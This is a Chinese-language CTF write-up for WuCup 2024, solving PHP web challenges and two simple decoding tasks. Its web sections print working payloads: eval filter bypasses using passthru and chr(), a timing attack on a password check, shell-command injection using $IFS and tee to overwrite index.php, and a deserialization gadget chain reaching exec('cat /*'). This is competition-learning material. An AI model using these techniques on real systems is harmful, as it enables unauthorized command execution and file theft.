WuCup 2024

Sign

这个是一个签到题,题目直接给出一个webshell passwd:sgin

下面就只需要post传sgin=system(‘cat /*’);即可

HelloHacker

直接给源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php 
highlight_file(__FILE__);
error_reporting(0);
include_once 'check.php';
include_once 'ban.php';

$incompetent = $_POST['incompetent'];
$WuCup = $_POST['WuCup'];

if ($incompetent !== 'HelloHacker') {
die('Come invade!');
}

$required_chars = ['p', 'e', 'v', 'a', 'n', 'x', 'r', 'o', 'z'];
$is_valid = true;

if (!checkRequiredChars($WuCup, $required_chars)) {
$is_valid = false;
}

if ($is_valid) {

$prohibited_file = 'prohibited.txt';
if (file_exists($prohibited_file)) {
$file = fopen($prohibited_file, 'r');

while ($line = fgets($file)) {
$line = rtrim($line, "\r\n");
if ($line === '' && strpos($WuCup, ' ') === false) {

continue;
}
if (stripos($WuCup, $line) !== false) {
fclose($file);
die('this road is blocked');
}
}


fclose($file);
}

eval($WuCup);
} else {
die('NO!NO!NO!');
}

?>

这里就可以发现,在里面有一个prohibited.txt,可以直接访问看到里面的waf,内容太多,只展现一些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
d
m
g
://
'

`
?
@
%
.
:
$
"
;
\
/
eval
exec
flag
system
assert
map
open
call
array
preg
php
cat
sort
shell
echo
tac

在里面有些字符是有但是没有被过滤的,比如;号,因为后面多了一个空格,导致没有真正的过滤,还有” $,这些后面会用到

1
2
3
4
5
6
$required_chars = ['p', 'e', 'v', 'a', 'n', 'x', 'r', 'o', 'z']; 
$is_valid = true;

if (!checkRequiredChars($WuCup, $required_chars)) {
$is_valid = false;
}

这里需要有一个required_chars里面字符的排列组合,通过python脚本找到一个没有给过滤的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import itertools

# 需要检查的字符串
string_to_permute = "pevanxroz"

# 禁止列表文件路径
prohibited_file_path = r"D:\写题\1.txt"

# 读取禁止列表文件中的所有内容
try:
with open(prohibited_file_path, 'r') as file:
prohibited_list = set(file.read().splitlines())
except FileNotFoundError:
print(f"文件 {prohibited_file_path} 未找到。")
prohibited_list = set()

# 生成所有排列组合
permutations = itertools.permutations(string_to_permute)

# 过滤掉禁止列表中的排列组合
allowed_permutations = [''.join(p) for p in permutations if ''.join(p) not in prohibited_list]

# 打印不在禁止列表中的排列组合
for permutation in allowed_permutations:
print(permutation)

oxzverapn,下面就可以通过;来进行分隔,发现passthru函数没有给过滤,可以通过passthru来命令执行,因为/号给过滤就想如何获取/再继续字符拼接即可,这里可以通过chr来将ascii码转字符,通过join函数来拼接,最后就可以得flag

1
incompetent=HelloHacker&WuCup=oxzverapn;$a=["nl%09",chr(47),"*"];$s=join("",$a);print_r($s);passthru($s);

TimeCage

首先给源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
show_source(__FILE__);
include 'secret.php';
if(isset($_GET['input'])){
$guess = $_GET['input'];
$target = random_int(114 , 114 + date('s') * 100000);
if(intval($guess) === intval($target)){
echo "The next challenge in ".$key1;
}
else{
echo "Guess harder.";
}
}

这里其实认真看就可以知道如果当秒刚好为0时就可以使target为114,这里就可以提交input=114并且不断的刷新页面即可,或者通过python来反复发包

下一关Trapping2147483647.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
show_source(__FILE__);
include 'secret.php';
if(isset($_POST['pass'])){
$pass = $_POST['pass'];
if(strlen($pass) != strlen($password)){
die("Wrong Length!");
}
$isMatch = true;
for($i = 0;$i < strlen($password); $i++){
if($pass[$i] != $password[$i]){
$isMatch = false;
break;
}
sleep(1);
}
if($isMatch){
echo "The final challenge in ".$key2;
}
else{
echo "Wrong Pass!";
}
}
//Only digital characters in the password.

这里是要获取password,可以先产生获取其长度,输入11111111得其长度为8,下面就可以产生每一位数的具体值

不断修改看方式请求的时间来判断,一个成功时间就会大于1秒,就不断的尝试,脚本发送有时判断不够准确,所以直接手动判断,最后得密码为56983215

下一关EscapeEsc@p3Escape.php,这里就是一个rce,只是shell_exec没有回显

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
if(isset($_POST['cmd'])){
$cmd = $_POST['cmd'];
$pattern = '/[\{\}\[\]\(\)&<>`\s\\\\]/';
if(preg_match($pattern,$cmd)){
die("Invalid Input!");
}
shell_exec($cmd);
}
else{
show_source(__FILE__);
}
//flag is in /flag

空格绕过用$IFS$8,刚开始尝试反弹shell但是没有成功,下面就写入文件得回显如果直接通过>>是被过滤了,但是还可以通过tee加通配符绕过,但是如果直接通过创建还是找不到,最后就可以直接通过覆盖前面的文件读回显,这样就可以执行命令

1
2
cmd=ls|tee$IFS$8index.php
cmd=cat$IFS$8/*|tee$IFS$8index.php

ezPHP

刚开始不知道应该如何写,通过dirsearch发现有一个flag.php文件,可以访问但是空白,这里通过bp抓包得php版本

下面就是通过查询对应的php版本问题知道有一个源码泄露

https://www.cnblogs.com/Kawakaze777/p/17799235.html

下面就是跟着尝试得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
error_reporting(0);

class a{
public $OAO;
public $QAQ;
public $OVO;
public function __toString(){
if(!preg_match('/hello/', OVO)){
if ($this->OVO === "hello") {
return $this->OAO->QAQ;
}
}
}
public function __invoke(){
return $this->OVO;
}
}

class b{
public $pap;
public $vqv;
public function __get($key){
$functioin = $this->pap;
return $functioin();
}
public function __toString(){
return $this->vqv;
}
}
class c{
public $OOO;
public function __invoke(){
@$_ = $this->OOO;
$___ = $_GET;
var_dump($___);
if (isset($___['h_in.t'])) {
unset($___['h_in.t']);
}
var_dump($___);
echo @call_user_func($_, ...$___);
}
}
class d{
public $UUU;
public $uuu;
public function __wakeup(){
echo $this->UUU;
}
public function __destruct(){
$this->UUU;
}
}
if(isset($_GET['h_in.t'])){
unserialize($_GET['h_in.t']);
}
?>

发现是一个反序列化,这里就当时没看清题

1
2
3
4
5
if(!preg_match('/hello/', OVO)){
if ($this->OVO === "hello") {
return $this->OAO->QAQ;
}
}

这里的OVO都不是这个类的,所以根本不用绕过,直接传OVO=hello即可,下面就可以去调用链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class a{
public $OAO;
public $QAQ;
public $OVO="hello";
}

class b{
public $pap="phpinfo";
public $vqv;
}
class d{
public $UUU;
public $uuu;
}
$a=new d();
$a->UUU=new a();
$a->UUU->OAO=new b();
echo serialize($a);
?>

这里首先可以读取phpinfo,参数合理化h[in.t即可,后面看到这里有很多的函数都给过滤了,但是exec没有

下面就可以尝试通过exec来命令执行

1
2
3
4
5
6
7
8
9
10
public function __invoke(){
@$_ = $this->OOO;
$___ = $_GET;
var_dump($___);
if (isset($___['h_in.t'])) {
unset($___['h_in.t']);
}
var_dump($___);
echo @call_user_func($_, ...$___);
}

这里的invoke里面会将get提交的参数传给$,这个具体是一个数组,后面就会删除h_in.t参数值,所以$的值就是我们可以控制的了,下面就可以直接传参来执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class a{
public $OAO;
public $QAQ;
public $OVO="hello";
}

class b{
public $pap;
public $vqv;
}
class c{
public $OOO="exec";
}
class d{
public $UUU;
public $uuu;
}
$a=new d();
$a->UUU=new a();
$a->UUU->OAO=new b();
$a->UUU->OAO->pap=new c();
echo serialize($a);
//O:1:"d":2:{s:3:"UUU";O:1:"a":3:{s:3:"OAO";O:1:"b":2:{s:3:"pap";O:1:"c":1:{s:3:"OOO";s:4:"exec";}s:3:"vqv";N;}s:3:"QAQ";N;s:3:"OVO";s:5:"hello";}s:3:"uuu";N;}
?>

如果上传一个字母参数就会不成功,这里可能是因为…$_的原因,但时直接参数数字就可以了,也是尝试了很久还以为又出错了

1
?h[in.t=O:1:"d":2:{s:3:"UUU";O:1:"a":3:{s:3:"OAO";O:1:"b":2:{s:3:"pap";O:1:"c":1:{s:3:"OOO";s:4:"exec";}s:3:"vqv";N;}s:3:"QAQ";N;s:3:"OVO";s:5:"hello";}s:3:"uuu";N;}&1=cat /*

Misc-Sign

这个就很简单了,就是一个base16解码得flag

Easy

这个题考RC4,给了key解码flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
def rc4(key):
key_length = len(key)
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + ord(key[i % key_length])) % 256
s[i], s[j] = s[j], s[i]
return s

def rc4_decrypt(ciphertext, key):
key_length = len(key)
s = rc4(key)
i = j = 0
plaintext = []
for byte in ciphertext:
i = (i + 1) % 256
j = (j + s[i]) % 256
s[i], s[j] = s[j], s[i]
x = (s[i] + s[j]) % 256
plaintext.append(byte ^ s[x])
return plaintext

# 密钥
key = "hello world"

# 密文(十六进制字符串)
ciphertext_hex = [
"d8d2", "963e", "0d8a", "b853", "3d2a", "7fe2", "96c5", "2923",
"3924", "6eba", "0d29", "2d57", "5257", "8359", "322c", "3a77",
"892d", "fa72", "61b8", "4f"
]

# 将十六进制字符串转换为字节
ciphertext = bytes.fromhex(''.join(ciphertext_hex))

# 解密
plaintext_bytes = rc4_decrypt(ciphertext, key)

# 将字节序列转换为字符串
try:
flag = ''.join(chr(byte) for byte in plaintext_bytes)
print("Flag:", flag)
except UnicodeEncodeError as e:
print("Flag contains non-UTF-8 characters:", plaintext_bytes)